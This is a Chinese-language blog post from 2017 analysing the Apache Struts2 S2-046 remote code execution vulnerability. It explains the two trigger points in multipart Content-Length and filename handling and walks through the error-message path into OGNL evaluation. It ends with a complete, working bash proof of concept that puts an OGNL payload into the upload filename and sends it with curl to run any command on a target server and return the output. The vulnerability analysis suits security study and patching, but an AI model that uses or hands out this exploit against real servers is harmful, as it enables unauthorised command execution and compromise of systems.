Apache Struts2(S2-046) RCE 漏洞

Posted by JenI on 2017-03-21 00:00:00+08:00

前言

前几天的 S2-045 热度还没过,时隔两周,S2-046 又接踵而至,估计很多 Struts2 框架的使用者也开始心累了。不过没关系,S2-046 与 S2-045 漏洞本质上来说是一样的,只是使用了不同的攻击向量。如果已经将 Apache Struts 升级到2.3.32或2.5.10.1,也就不用担心 S2-046 会对自己造成影响了。

漏洞描述

S2-046 漏洞是由于对 Header 某个字段信息处理发生异常,错误信息内的 payload 经过 buildErrorMessage 函数带入 LocalizedTextUtil.findText 造成的,触发点在 Content-Length 和 Content-Disposition 字段的filename中。

漏洞复现

  • 本地搭建漏洞测试环境
s2-046-1
  • 漏洞验证成功
s2-046-2

漏洞分析

S2-046存在两个触发点: Content-Length 的长度值超长和 Content-Disposition 的 filename 存在空字节。

第一个触发点在 JakartaStreamMultiPartRequest 类中,超长的 content-length 引发异常,异常交由 processUpload 函数处理,导致漏洞触发。

s2-046-3

其中问题存在于 LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize) 语句中,Content-Disposition 的 filename 存在空字节,引发的异常信息被传入 addFileSkippedError 函数,之后 fileName 内容被 buildErrorMessage 处理。

s2-046-4

之后和 s2-045 相同,异常信息传递到 LocalizedTextUtil.findText 函数,根据官方对该函数的介绍,异常消息被传入 TextParseUtil.ParsedValueEvaluator 对象的 evaluate 方法中,从而导致代码执行。

第二个触发点在 streams.class 中,在对 filename 进行检查时,如果 filename 存在问题,也会引发异常。

s2-046-5

异常信息最终进入 JakartaStreamMultiPartRequest 类,之后依旧交由 buildErrorMessage 处理,从而触发漏洞。

s2-046-6

漏洞POC(bash版)

url=$1
cmd=$2
shift
shift

boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")

printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --connect-time 20 --data-binary @- $@

作者:   JenI   转载请注明出处,谢谢


Comments !